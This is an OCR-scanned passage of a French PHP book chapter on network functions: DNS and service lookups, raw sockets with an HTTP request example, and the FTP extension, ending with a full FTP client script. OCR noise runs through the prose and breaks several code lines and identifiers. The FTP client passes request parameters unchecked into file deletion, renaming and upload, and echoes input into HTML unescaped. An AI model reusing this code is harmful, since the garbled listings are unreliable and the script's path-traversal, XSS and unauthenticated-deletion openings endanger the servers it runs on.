"mais elle n'est pas total ement farfelue"; 

} else { 

echo "Pfuuu... C'est n'importe quoi cet email, ". 

"jamais je ne pourrai envoyer d 1 email a cette adresse"; 

} 

?> 



Pour ce qui concerne les entrees MX du fichier de configuration du DNS, il est possible d'en 
savoir un peu plus grace a la fonction getMXRR ( ) . 



Q- 
v> |_ 

05 U_ 
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getMXRRQ (Non disponible sous Windows) 



Retourne la liste des machines enregistrees aupres du DNS pour la gestion des mails. Notez 
que dans la version 5 de PHP, cette fonction est baptisee DNS_get_mx ( ) (tout en assurant la 
compatibilite). 

Syntaxe boolean getMXRR(stri ng $nomMachine, array &$machines [, array 

&$poids]) 

$nomMachine Nom de la machine. 

$machines Reference sur une variable dans laquelle sera copie un tableau indexe 

contenant les noms des machines devant "router" les mails. 



1268 



Reseau 



$poids Reference sur une variable dans laquelle sera copie un tableau indexe 

contenant les poids associes aux machines. Les mails seront 
prioritairement "routes" par la machine de plus faible poids. 

retour TRUE si la machine est connue du DNS, FALSE sinon. 



Protocoles et services 

PHP propose egalement des fonctions permettant de recuperer des informations plus 
intimement liees au serveur. 

II est, par exemple, possible de connaitre le port associe a un service ou, inversement, de 
retrouver le nom d'un service a partir de son numero de port. 



getServByNameQ 



Retourne le port associe au service donne. 

Syntaxe int getServByName (string $service, string $protocole) 

$servi ce Nom du service (ex. : "ftp", "http", ...) 

$protocol e Nom du protocole ("tcp" ou "udp"). 

retour Numero de port, ou FALSE en cas d'echec. 



getServByPort() 

Retourne le nom du service associe au port donne. 

Syntaxe int getServByPort (stri ng $port, string $protocole) 

$ port Numero du port. 

$protocol e Nom du protocole ("tcp" ou "udp"). 

retour Nom du service, ou FALSE en cas d'echec. -a 

o — L 
o =" 

Ainsi, pour connaitre le port associe au service FTP, ou le nom du service associe au port 80, w g ,— 



Ton pourra utiliser le script suivant : 



CD 



CO 



<?php 2. ^ 5' 

echo getServByName("ftp", "tcp")."<br />"; " TJ = 

echo getServByPort(80, "tcp"); 21 * 

?> 

ce qui retournera (probablement) : 
21 

http 
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II est egalement possible de connaitre le numero associe a un protocole ou, inversement, de 
retrouver le nom d'un protocole a partir de son numero. 



getProtoByName() 

Retourne le numero associe a un nom de protocole (tel qu'on le trouve dans le fichier 
I etc I protocols des systemes UNIX/Linux). 

Syntaxe int getProtoByName (string $nomProtocol e) 

$nomProtocol e Nom du protocole. 

retour Numero du protocole, ou -1 s'il n'existe pas. 



getProtoByNumber () 

Retourne le nom associe a un numero de protocole (tel qu'on le trouve dans le fichier 
I etc I protocols des systemes UNIX/Linux). 

Syntaxe int getProtoByNumber (stri ng $numeroProtocol e) 

$numeroProtocol e Numero du protocole. 

retour Nom du protocole, ou FALSE s'il n'existe pas. 

Voici un exemple d'utilisation. 
Le script suivant : 

<?php 

echo getProtoByName("tcp") . "<br />"; 
echo getProtoByNumber(62) . "<br />"; 
?> 

pourra retourner : 
6 

cftp 



16.3. Les sockets 

Pour communiquer directement avec un service d'une machine donnee, vous serez peut-etre 
amene a utiliser les sockets. Vous pouvez ainsi communiquer directement avec un serveur FTP, 
HTTP, NNTP (newsgroup), etc , et maitriser plus finement les operations que si vous utilisiez 
les commandes de plus haut niveau (plus couramment utilisees). 

Le principe d'utilisation est simple et se deroule en quatre grandes etapes : 



Q- 
v> |_ 
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Ouverture de la connexion ; 
Configuration de la connexion ; 
■ Lecture/ecriture sur la socket ; 
Fermeture de la connexion. 

Un exemple d'application est donne a la fin de ce sous-chapitre. 

Ouverture de la connexion 

L'ouverture d'une connexion se fait via la fonction f Sockopen ( ) . 



fSockOpenQ 



Ouvre une connexion sur une socket. 

Syntaxe resource fSockOpen (string $serveur, int $port [, int 

&$codeErreur [, string &$msgErreur [, double 
$delai Expiration]]]) 

$serveur Nom du serveur sur lequel doit se porter la connexion (eventuellement 

precede de "udp://" pour une connexion UDP). 

$port Numero du port sur lequel etablir la connexion. 

$codeErreur Reference sur une variable dans laquelle sera copie le code d'erreur leve. 

$msg Er reu r Reference sur une variable dans laquelle sera copie le message d'erreur leve. 

$delai Expiration Delai (en secondes) au-dela duquel la tentative de connexion doit etre 
abandonnee (par defaut 60 secondes). 

retour Identifiant de connexion a la socket, ou FALSE en cas d'erreur. 



La fonction f Sockopen ( ) possede un equivalent permettant l'ouverture d'une connexion 
persistante (nous n'avons pas verifie le caractere persistant et reutilisable de la connexion). II 
s'agit de la fonction pFSockOpen ( ) , qui possede exactement la meme syntaxe que 

f SockOpen ( ) . 



Configuration de la connexion 

II est possible de jouer sur deux parametres de connexion : 

Le mode de lecture bloquant ou non ; 

Le delai d'expiration (timeout) de la socket. 



La lecture est dite en mode bloquant si la fonction de lecture doit attendre qu'un message lui 
soit adresse pour "rendre la main" au programme. Dans le cas contraire, elle est dite non 
bloquante, et la fonction de lecture retourne simplement le contenu de la memoire tampon 



Chapitre 16 La gestion des protocoles HTTP, FTP, SOAP, etc. 



(espace stockant les messages nouvellement recus) qui pourra eventuellement etre vide (si le 
message n'est pas encore arrive). 

Par defaut, en l'absence d'appel a la fonction socket_set_blocking { ) , le mode de lecture est 
bloquant. 



socket_set_blocking () 



Determine si le mode de lecture de la socket doit etre ou non bloquant. 

Syntaxe boolean socket_set_bl ocki ng (resource $idSocket, boolean 

$modeLecture) 

$idSocket Identifiant de la socket tel que retournepar f sockopen ( ) . 

$modeLecture TRUE si le mode de lecture doit etre bloquant, FALSE sinon. 

retour FALSE en cas d'echec, TRUE sinon. 

La duree de vie de la connexion a la socket peut etre limitee par la fonction 

socket_set_timeout ( ) . 



socket_set_timeout () 

Determine la duree de vie maximale de la socket. 

Syntaxe boolean socket_set_timeout (resource $idSocket, int $secondes, 

int $mi crosecondes) 

$idSocket Identifiant de la socket tel que retournepar f sockopen ( ) . 

$secondes Partie "secondes" de la duree de vie de la socket exprimee en 

"secondes:microsecondes". 

$mi crosecondes Partie "microsecondes" de la duree de vie de la socket exprimee en 
"secondesimicrosecondes". 

retour FALSE en cas d'echec, TRUE sinon. 

Lecture/ecriture sur la socket 



a. 

V) |_ 
05 LL. 
■D 

iM 

Ml.- 
CD O- 

re ■j o La lecture et l'ecriture sur la socket s'effectuent a l'aide des fonctions qui ont deja ete vues dans 

. § le chapitre relatif aux fichiers. 

I— o 

a. Vous pourrez ainsi utiliser fGets ($idSocket, $nbOctets) ; pour lire jusqu'a $nbOctets 

octets sur la socket, fputs ($idSocket, $chaine) pour envoyer au serveur une chaine de 
caracteres via la socket, ou encore f eof ( $idSocket ) ; pour tester si la fin de fichier (fin 
d'emission) a ete atteinte. 
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Fermeture de la connexion 

Le fermeture de la connexion s'opere exactement de la meme facon que celle d'un fichier, 
c'est-a-dire par la commande f Close ($idSocket) . 



Informations sur la connexion 

Pour connaitre l'etat d'une socket, vous pouvez faire appel a la fonction 

socket_get_status ( ) . 



socket_get_status () 

Retourne quelques informations sur l'etat de la socket. 

Syntaxe array socket_get_status (resource $idSocket) 

$idSocket Identifiant de la socket tel que retourne par f sockopen ( ) . 

retour Tableau associatif possedant les cles : 

"t ime_out" associee a une valeur de type booleen precisant si la duree de 
vie de la socket a expire ou non. 

"blocked" associee a une valeur de type booleen precisant si la lecture sur 
la socket se fait en mode bloquant ou non. 

"eof " associee a une valeur de type booleen precisant si un indicateur de 
fin de fichier a ete detecte ou non. 

"unread_bytes" associee a une valeur de type entier precisant le 
nombre d'octets actuellement dans la memoire tampon de lecture de la 
socket. 



Application 

Pour mettre en place une communication via une socket, l'essentiel est de bien connaitre le 
langage de communication avec le serveur. Si vous avez concu votre propre serveur, vous savez 
certainement comment il fonctionne... autrement, il faut se referer aux specifications. 

Dans le cas d'un serveur HTTP, le principe est assez simple et a ete evoque dans le chapitre 
En-tetes. 




Vous pouvez vous reporter a I 'annexe "Les en-tetes" pour plus de details. 



RENVOI 

Pour recuperer un document via la methode get, il suffit de lui envoyer les instructions "get 
<nom du documents HTTP/<norme http>", et, dans le cas de la norme 1.1, il faut au minimum 
communiquer l'en-tete Host. Pour recuperer la page d'accueil d'un site, il faudra done, par 
exemple, envoyer les instructions suivantes : 



GET / HTTP/1.1 
Host: localhost 
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ce qui nous donne le script suivant : 

Listing 16.1 : socket_01.php 

<?php 

// Exemple de recuperation d'un document via HTTP 
// en utilisant di rectement les sockets. 

$serveur = "www.gnu.org"; 
$document = "/"; 

echo "<b>Lecture de $serveur$document</bxbr />"; 

$idSocket = fSockOpen ($serveur, 80, $codeErreur, $msgErreur); 
if (!$idSocket) { 

echo "La connexion via la socket a echouee.<br />"; 

echo "Code d'erreur: $codeErreur<br />"; 

echo "Message d'erreur: $msgErreur<br />"; 

die(); 

} 

// Configuration de la connexion 
// en mode bloquant 
// et avec un timeout de 5 minutes 
socket_set_blocking($idSocket, TRUE) ; 
socket_set_timeout($idSocket, 5, 0); 



// Envoi de donnees au serveur 
fputs($idSocket, "GET $document HTTP/1 . l\r\n") ; 
fputs($idSocket, "Host: 1 ocal host\r\n") ; 

fputs($idSocket, "\r\n"); // Marque la fin de l'en-tete 

// Lecture de la reponse 
while (!feof($idSocket)) { 

$donnees = fgets ($i dSocket, 512); 

echo "<xmp>$donnees</xmp>" ; // Affichage du code source 

} 

St ?> 

■D 

■2 p o3 qui fournira, par exemple, le resultat suivant (debut de la reponse uniquement) : 

H X 
CD O- 

=> S «s 



a3 * Lecture de www.gnu.org/ 

■3 S 00 HTTP/1.1 200 OK 

io -2 Date: Tue, 28 May 2002 15:39:34 GMT 

" r ~ a. Server: Apache/1.3.24 (Unix) Debian GNU/Linux mod_python/2.7.8 Python/1.5.2 

Last-Modified: Fri , 24 May 2002 17:51:38 GMT 
ETag: "1088107-2e6e-3cee7daa" 
Accept-Ranges: bytes 
Content-Length: 11886 
Content-Type: text/html 
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<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final //EN"> 

<HTML> 

<HEAD> 

<TITLE>GNU's Not Unix! - the GNU Project and the Free Software Foundation 
(FSF)</title> 

<META HTTP-EQUIV="Keywords" 

CONTENT="GNU, FSF, Free Software Foundation, Linux, Einacs, GCC, Unix, 
Free Software, Operating System, GNU Kernel, HURD, GNU HURD"> 
<META HTTP-EQUIV="Description" 

CONTENT="Since 1983, developing the free Unix-like operating system GNU, 

Comme vous pouvez le constater, nous recuperons ainsi non seulement le code source HTML 
de la page, mais egalement l'en-tete retourne par le serveur (le debut du code source se 
trouvant juste apres la premiere ligne laissee vide). 

L'utilisation des sockets permet ici de recuperer l'en-tete retourne par le serveur (et ainsi, par 
exemple, de verifier le "Content-type"), mais aussi de preciser notre propre en-tete de requete 
(en utilisant par exemple le "User-agent" d'Internet Explorer ou de Mozilla, et en testant 
differentes valeurs pour "Accept-Language", etc.). 



Les fonctions de la bibliotheque ftp permettent d'acceder en tant que client a un serveur FTP. 

Installation 

Sous Windows 

Que ce soit avec l'archive du PHP Group ou avec EasyPHP, les fonctions FTP sont integrees 
a PHP. 

Sous Linux 

Vous devrez recompiler PHP avec l'option — enabie-f tp (avec les versions 3 de PHP, il 
s'agissait de l'option — with-ftp). 

(tpS^ ' Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 



16.4. FTP 




fagon de compiler PHP. 



RENVOI 



Verification 



Pour verifier que le support FTP est active, appelez un script contenant <?php phpinf o ( ) ; ?>. 
Celui-ci doit alors laisser apparaitre : 
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^ I Figure 16.1 : 

FTPaupp.rt |en*» phpUlfoO FTP 

Les fonctions de base 
Connexion/deconnexion 

La premiere etape consiste, comme toujours, a se connecter au serveur. 



ftp_connect() 

Permet de se connecter a un serveur FTP. 

Syntaxe resource ftp_connect(string $serveur [, int $port [, int 

$delai Expiration]]) 

$serveur Adresse du site FTP. 

$port Port du serveur FTP si celui-ci est different du port usuel 21. 

$del ai Expi rati on Temps en secondes pour toute commande avant abandon ; par defaut 
cette valeur vaut 90 secondes. 

retour Un identifiant de connexion ou FALSE en cas d'erreur. 

Une fois connecte, il faut s'identifier (sans quoi rien n'est possible). 



a. 

CD L_ 

■D 

§M 

MX.- 
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ftp_login() 

Identification aupres du serveur. 

Syntaxe boolean ftp_l ogi n (resource $idConnexion, string $identifiant, 

string $motDePasse) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$i denti f i ant Identifiant (login) de l'utilisateur. 

$motDePasse Mot de passe utilisateur. 



* retour TRUE si la connexion a pu se faire, FALSE sinon. 



La deconnexion s'effectuera, quant a elle, grace a la fonction f tp_close ( ) . 
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ftp_close() 

Permet de clore la connexion FTP. 

Syntaxe boolean ftp_cl ose (resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour TRUE en cas de succes. 

f tp_ciose ( ) possede un alias appele f tp_quit { ) . 

Deplacement dans l'arborescence 

Une fois que Ton est identifie, il est possible d'effectuer toutes les operations courantes en 
ligne, comme, par exemple, changer de repertoire : 



ftp_chdir() 

Permet de changer de repertoire. 

Syntaxe boolean ftp_chdi r (resource $idConnexion, string $repertoire) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire de destination, 

retour TRUE en cas de succes, FALSE sinon. 

De son cote, f tp_cdup ( ) permet de monter d'un niveau dans la hierarchie des repertoires. 



ftp_cdup() 

Change de repertoire pour monter d'un niveau 



o — 1 

o F> 

Syntaxe boolean ftp cdup (resource $idConnexion) go 2 r- 

° 5T M 

$i dConnexi on Identifiant de connexion obtenu par f tp_connect ( ) . 5 " *S 

- in 

retour TRUE en cas de succes, FALSE sinon. 2.^5" 



Liste du contenu d'un repertoire 

II est possible egalement de voir le contenu d'un repertoire : 



~n cd 

— I CO 
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ftp_rawlist() 



Permet d'obtenir une liste detaillee des fichiers d'un repertoire (et eventuellement de ses 
sous-repertoires). Le resultat est identique a is -1. 

Syntaxe array ftp_rawl i st (resource $idConnexion, string $repertoire [, 

bool ean $recursi f] ) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire a lister. 

$recursif TRUE si le contenu des sous-repertoires doit egalement etre retourne, 

FALSE (valeur par defaut) sinon. (Option disponible depuis PHP 4.3.0) 

retour Tableau indexe des differents fichiers du repertoire avec leur detail 

(droits, taille, date). 



ftp_nlist() 

Permet d'obtenir une liste des fichiers d'un repertoire. Le resultat est identique a is. 

Syntaxe array ftp_nl ist (resource $idConnexion, string $repertoire) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$repertoi re Repertoire a lister. 

retour Tableau des differents fichiers du repertoire. 

Creation, suppression, renommage 



ftp_mkdir() 



w £; Creation d'un nouveau repertoire. 

■D 

= Q- ei Syntaxe boolean ftp mkdi r (resource $idConnexion, string $repertoire) 

■2 p S 

mi- $idConnexion Identifiant de connexion obtenu par ftp_connect () . 

ro — o $ repertoire Nom du repertoire a creer avec, eventuellement, son chemin. 

_j g v> 

o retour TRUE si le repertoire a pu etre cree, FALSE sinon. 
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ftp_rmdir() 

Permet d'effacer un repertoire vide. 

Syntaxe boolean ftp_rmdi r (resource $idConnexion, string $chemin) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ c h em i n Repertoire a ef facer avec, eventuellement, son chemin. 

retour TRUE si le repertoire a ete efface, FALSE sinon. 



ftp_delete() 

Permet d'effacer un fichier. 

Syntaxe boolean ftp_del ete(resource $idConnexion, string $chemin) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ c h em i n Chemin du fichier a eff acer avec, eventuellement, son chemin. 

retour TRUE si le fichier a ete efface, FALSE sinon. 



ftp_rename() 

Permet de renommer un fichier ou un repertoire. 

Syntaxe boolean ftp_rename(resource $idConnexion, string $ancienNom, 

$nouveaul\|om) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$ancienNom Ancien nom du fichier ou repertoire . 

$anci enNom Nouveau nom du fichier ou repertoire. 

retour TRUE si le fichier ou repertoire a pu etre renomme, FALSE sinon. 

Transfert de fichiers > SS 



ftp_get() 

Permet de recuperer un fichier d'un serveur FTP. 



o — 1 



Les fonctions de transfert de fichiers sont egalement disponibles. II est ainsi possible de copier 2. ^ 5' 
un fichier du serveur FTP vers le serveur web (f tp_get ( ) ) ou le contraire (f tp_put ( ) ). ' "° o. 



~n cd 

— I CO 
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Syntaxe boolean ftp_get (resource $idConnexion, string 

$chemi n Fi chi erLocal , string $cheminFichierDistant, int $mode 
[, int $offset]) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$chemi nFi chi erLocal Chemin avec le nom du fichier ou enregistrer le fichier. 
$chemi nFi chi erDi stant Chemin avec le nom du fichier a recuperer. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$of f set Position dans le fichier distant du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre copie, FALSE sinon. 



Q- 
v> |_ 
05 U_ 



■= \- CD 
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ftp_put() 

Telecharge un fichier du serveur web vers le serveur FTP. 

Syntaxe boolean ftp_put (resource $idConnexion, string $fi chi erDi stant, 

string $fichierLocal , int $mode [, int $of f set] ) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$f i chi erDi stant Destination sur le serveur web. 

$fi chi erLocal Chemin sur le serveur web local. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$off set Position dans le fichier local du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre copie, FALSE sinon. 

Les fonctions f tp_get ( ) et f tp_put ( ) possedent des variantes permettant d'utiliser un 
pointeur vers un fichier. Cela permet de garder le fichier accessible en lecture ou ecriture une 
ibis copie. 



ftp_fget() 



Permet de telecharger un fichier d'un serveur FTP dans un fichier (ou plus generalement un 
stream) ouvert. 

Syntaxe boolean ftp_fget (resource $idConnexion, resource $idFichier, 

string $fi chi erDi stant, int $mode [, int $offset]) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$i dFi chi er Identifiant (obtenu par f open ( ) ) du fichier a remplir. 
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$f i chi erDi stant Nom du fichier distant a recuperer. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$of f set Position dans le fichier distant du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre recupere, FALSE sinon. 



ftpjputO 



Permet de deposer le contenu d'un fichier ouvert (ou plus generalement un stream) sur un 
serveur FTP. 

Syntaxe boolean ftp_f put (resource $idConnexion, string 

$fichierDistant, resource $i dFi chi er , int $mode [, int 
$offset]) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$f i chi erDi stant Nom qu'aura le fichier sur le serveur FTP. 

$i dFi chi er Identifiant (obtenu par f open ( ) ) du fichier a copier. 

$mode FTP_ASCII (pour les fichiers textes) ou FTP_BINARY (pour les fichiers 

binaires). 

$off set Position dans le fichier local du premier octet a transferer. (Parametre 

ajoute depuis PHP 4.3.0) 

retour TRUE si le fichier a pu etre mis sur le serveur FTP, FALSE sinon. 



Exemple d' application 



Les fonctions vues jusque-la sont les fonctions les plus couramment utilisees, et nous 
permettent de realiser un script de client FTP. 

Dans le script presente, l'utilisateur pourra naviguer sur le compte FTP, ajouter des fichiers, en 
supprimer, en renommer, ajouter et supprimer des repertoires, uploader ou telecharger des 
fichiers. 



o — 1 

g° ST 

- I v> 

n ti = 



Tl CD 
— I CO 
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3 Client FTP - Microsoft Internet Explore 



Fichier Edition AFFichage Favoris Outils ? 



□BE 



_L* 



Precedente " : __j |_*^ \\ / ' Rechercher l -r">' Favoris ^Jf* Media : - 

v | Q OK Liens 



■Sj http://localhost/Ftp/Ftp.php?repertoire=/reqijetes/ 



Client FTP 12.9 



Noin/eau Reperr.oire:|_ 
Ajouter fichier ] 



Le chemin doit eta aibsohi ouialatif a l'endnrit cm aft plica ce script. 



/requetes/ 
/ 



aujy 

lioinbre-des-iequetes-liiei-siii-siebl Effacer 



lmnbie-tles-reqnetes-liiei-siii-^veblO Effacer 



iioinbie-tles-i'eniieres-lnet-5i.n-reebll Effacer 



lioinbre-des-ieguetes-liiei.-sm-'^eb? Effacer 



1 1 Renornrner "I 



Figure 16.2 : 

Client FTP en PHP 



Voici le script en question : 



Q- 
v> |_ 
05 U_ 



§ t « 



— Q3 ~* 
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Listing 16.2 : ftp.php 

<html> 
<head> 

<title>Client FTP</title> 

<link rel="stylesheet" type="text/css" href="style.css" /> 
</head> 
<body> 

<centerxfont col or="bl ue"xhl>Cl i ent FTP 12.9</hlx/fontx/center> 
<font color="red"> 
<?php 

// On augmente le temps de vie du script a 100 secondes 

set_time_l imit(lOO) ; 

// Parametres de connexion 

$serveur = "ftp.monsite.com"; 

$utilisateur = "uti 1 i sateur" ; 

$motdepasse = "motdepasse" ; 

// Connexion au serveur FTP 

$connexion = ftp_connect ($serveur) 

or die("Serveur FTP inexistant") ; 
// Identifiaction sur le serveur FTP 
ftp_login($connexion, $uti 1 i sateur, $motdepasse) 

or die("Utilisateur inconnu ou mauvais mot de passe"); 



$repertoire = $_GET["repertoi re"] ! =" " ? $_GET[" repertoire"] : "/"; 
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// Verifie si "effacer" est passe en parametre 
if ($_GET["effacer"] ! = "") { 

effacer($_GET["effacer"] , $repertoire) ; 

} 

// Verifie si "effacerrep" est passe en parametre 
if ($_GET["effacerrep"] !="") { 

effacerRep($_GET["effacerrep"] , $repertoire) ; 

} 

// Verifie si "tel echarger" est passe en parametre 
if ($_GET["telecharger"] !="") { 

tel echarger($_GET["tel echarger"] , $repertoire) ; 

} 

// Verifie si "nouveaurep" est passe en parametre 
if ($_POST["nouveaurep"] !="") { 

nouveauRep($_POST["nouveaurep"] , $repertoire) ; 

} 

// Verifie si "ajouterfichier" est passe en parametre 
if ($_POST["ajouterfichier"] ! = "") { 

ajouterFichier($_POST["ajouterfichier"] , $repertoire) ; 

} 

// Verifie si "nouveaunom" est passe en parametre 
if ($_POST["nouveaunom"] !="") { 

nouveauNom($_POST["nouveaunom"] , $_POST["fichier"] , $repertoire) 

} 

?> 

</font> 

<form method="post"> 

Nouveau Repertoi re:<i nput type="text" name="nouveaurep" /xbr /> 
<form> 

<form method="post"> 
Ajouter fichier:<input type="text" name="ajouterfichier" /> 
<font size="l">Le chemin doit etre absolou ou relatif a 

1'endroit ou est place ce script. </fontxbr /> 

<form> 
<?php 

// Changement de repertoire 
ftp_chdir($connexion, $repertoire) ; 
// Affichage du contenu du repertoire 
1 i sterRepertoi re($repertoi re) ; 
ftp_close($connexion) ; 

?> 

</body> 
</html> 

<?php 

function li sterRepertoi re ($repertoi re) { 
global $connexion; 

echo "<h2xfont color=\"green\">" .$repertoire. "</fontx/h2>\n" ; 
// Affichage du lien vers le repertoire superieur 
if ($repertoire!="/") { 

echo "<a href=\"ftpl.php?repertoire=" . 
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substr (substr ($repertoi re, 0, -1), 0, 

l+strrpos(substr($repertoire, 0, -1), "/")). "\"> 
<h2xfont color=\"green\">" . 
substr (substr ($repertoi re, 0, -1), 0, 

l+strrpos(substr($repertoire, 0, -1), "/")). 
"</fontx/h2x/a>\n"; 

} 

// Recuperation de la liste des fichiers 
$ 1 i s t e = ftp_rawl ist($connexion, $repertoi re) ; 
echo "<table>"; 
foreach($liste as $fichier) { 
echo "<tr>"; 

if (substr($fichier,0,l)=="d") { 
echo "<td>"; 

echo "<a href=\"ftpl.php?repertoire=$repertoire". 

substr($fichier,56)."/\">". 
"<b>".substr($fichier,56).7</b></axbr />\n"; 
echo "</tdxtd>"; 

echo "<a href=\"ftpl.php?repertoi re=$repertoi re&effacerrep=" . 

substr($fi chi er,56) . "\">Effacer ce repertoi re</axbr />\n 

} else { 

echo "<td>"; 

echo "<a href=\"ftpl .php?repertoi re=$repertoi re&tel echarger=" . 

substr ($fi chi er, 56). "\"><b>". substr ($fi chi er, 56). "</b>\n" 
echo "</tdxtd>"; 

echo "<a href=\"ftpl.php?repertoire=$repertoire&effacer=". 

substr($fichier,56) ."\">Effacer</axbr />\n"; 
echo "</td>"; 

echo "</trxtrxtd> </tdxtd>" ; 
echo "<form method=\"post\">" . 

"<input type=\"hidden\" name=\"fichier\" 

value=\"$repertoire\" ". substr ($fi chi er, 56) . "\"/> 
<input type=\"text\" name=\"nouveaunom\" /> 
<input type=\"submi t\" val ue=\"Renommer\"/></form>" ; 
echo "</td>"; 

} 

echo "</tr>"; 

} 

echo "</table>"; 

} 

// Efface un fichier 

function ef facer ($fi chi er, $repertoire) { 
global $connexion; 

if (@ftp_delete($connexion, $repertoire.$fichier)) 
echo "Le fichier $fichier a ete supprime"; 

el se 

echo "Impossible d'effacer le fichier $fichier"; 

} 

// Efface un repertoire vide 
function effacerRep($fichier, $repertoire) { 
global $connexion; 



if (@ftp_rmdir($connexion, $repertoire.$fichier)) 
echo "Le repertoire $fichier a ete supprime"; 

el se 

echo "Impossible d'effacer le repertoire $fichier assurez vous " 
."qu'il est vide"; 

} 

// Telecharge un fichier depuis le site FTP 
function telecharger($fichier, $repertoire) { 
global $connexion; 

if (@ftp_get($connexion, $fichier, $repertoire.$fichier, FTP_BINARY) ) 
echo "Le fichier $fichier devrait etre telecharge dans le repertoi 
" ou se trouve ce script"; 

el se 

echo "Impossible d'ouvrir le fichier $fichier"; 

} 

// Cree un repertoire 

function nouveauRep($fichier, $repertoire) { 
global $connexion; 

if (@ftp_mkdir($connexion, $repertoire.$fichier)) 

echo "Le nouveau repertoire $fichier a ete cree"; 

el se 

echo "Impossible de creer le repertoire $fichier"; 

} 

// Renomme un fichier 

function nouveauNom($nouveaunom, $fichier, $repertoire) { 
global $connexion; 

if (@ftp_rename($connexion, $fichier, $repertoire.$nouveaunom)) 
echo "Le fichier $fichier a ete renomme"; 

el se 

echo "Impossible de renommer $fichier"; 

} 

// Ajoute un fichier 

function ajouterFichier($fichier, $repertoire) { 
global $connexion; 

$nomFichier = (strrchr($fichier, "/")) ? 

$repertoire.substr(strrchr($fichier, "/"), 1) : 

$repertoi re . $f i chi er ; 
if (@ftp_put($connexion, $nomFichier, $fichier, $FTP_BINARY) ) 
echo "Le fichier $fichier a ete ajoute"; 

el se 

echo "Impossible d'ajouter $fichier"; 

} 
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Transfert de fichiers en mode asynchrone 

Les fonctions ftp_put(), ftp_get(), ftp_fput() et f tp_f get ( ) sont des fonctions 
synchrones. C'est a dire que lorsque le script PHP traite ces fonctions il ne fait plus rien d'autre 
en attendant le transfert complet des donnees. Depuis, PHP 4.3.0, ces fonctions ont leur 
equivalent en mode asynchrone. II s'agit des fonctions f tp_nb_put ( ) , f tp_nb_get ( ) , 
f tp_nb_fput ( ) , f tp_nb_f get ( ) . Leur syntaxe est tout a fait identique si ce n'est qu'elles ne 
retournent pas un booleen mais un entier dont les valeurs possibles sont les memes que celles 
retournees par la fonction decrite ci-apres. Une fois lancees, ces fonctions transferent bien les 
fichiers mais le script, lui, continue pour traiter les instructions suivantes. Pour savoir si la 
precedente operation est terminee vous devrez faire appel a la fonction f tp_nb_continue ( ) . 



ftp_nb_continue 

Teste si la derniere operation FTP asynchrone lancee est terminee ou non. 

Syntaxe: int ftp_nb_conti nue(resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour FTP_MOREDATA si le transfert est en cours, FTP_FINISHED s'il est 

termine ou FTP_FAILED s'il a echoue. 

Autres fonctions 
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ftp_exec() 

Permet d'executer une commande sur le serveur FTP si celui-ci l'autorise. 

Syntaxe boolean ftp_exec (resource $idConnexion, string $commande) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$commande Commande a executer sur le serveur. 

retour TRUE en cas de succes, FALSE sinon. 



ftp_site() 

Envoie une commande a un serveur FTP de type SITE xxxx. 

Syntaxe boolean ftp_site(resource $IdConnexion, string $commande) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

$commande Commande a executer. 

retour TRUE en cas de succes, FALSE sinon. 
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Parametres de connexion 



ftp_get_option() 

Retourne certains parametres de la connexion FTP courante. 

Syntaxe mixed ftp_get_opti on (resource $idConnexion, int $option) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

option Option dont on veut connaitre la valeur. Seul le temps avant abandon 

d'une commande est disponible ; la constante est FTP_TlMEOUT_SEC, la 
fonction retourne alors le temps en secondes. 

retour Depend de 1'option. 



ftp_set_option() 

Definit certains parametres de la connexion FTP courante. 

Syntaxe boolean ftp_set_opti on (resource $idConnexion, int $option, 

mixed $val eur) 

SidConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

opti on Option dont on veut definir la valeur. Seul le temps avant abandon d'une 

commande est disponible ; la constante est FTP_TlMEOUT_SEC. 

$val eur Valeur du parametre a definir. Pour FTP_TlMEOUT_SEC, la valeur est a 

donner en secondes. 

retour TRUE si le parametre a pu etre modifie. 



ftp_pasv() 



o 



Permet de passer en mode passif. Cela peut servir pour passer outre un firewall un peu o 
exigeant. go ^ 

^ 8 *s 

Syntaxe boolean ftp pasv (resource $idConnection, boolean $pasv) • i «j 

CP — I — ■ 

SidConnexion Identifiant de connexion obtenu par ftp_connect () . P -u = 

a. 

$pasv TRUE pour activerle mode passif, FALSE sinon. Zj S 

JO 

retour TRUE si le changement de mode a pu s'effectuer, FALSE sinon. 
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Information sur les fichiers 

ftp_mdtm() 

Retourne la date de derniere modification d'un fichier. 

Syntaxe : int ftpjndtm (resource $idConnexion, string $fichierDistant) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

$f i chi erDi stant Fichier dont on veut connaitre la date de derniere modification, 
retour La date de derniere modification au format timestamp d'UNIX. 



ftp_size() 

Retourne la taille d'un fichier. 

Syntaxe int ftp_size (resource $idConnexion, string $fi chi erDi stant) 

$idConnexion Identifiant de connexion obtenu par ftp_connect ( ) . 

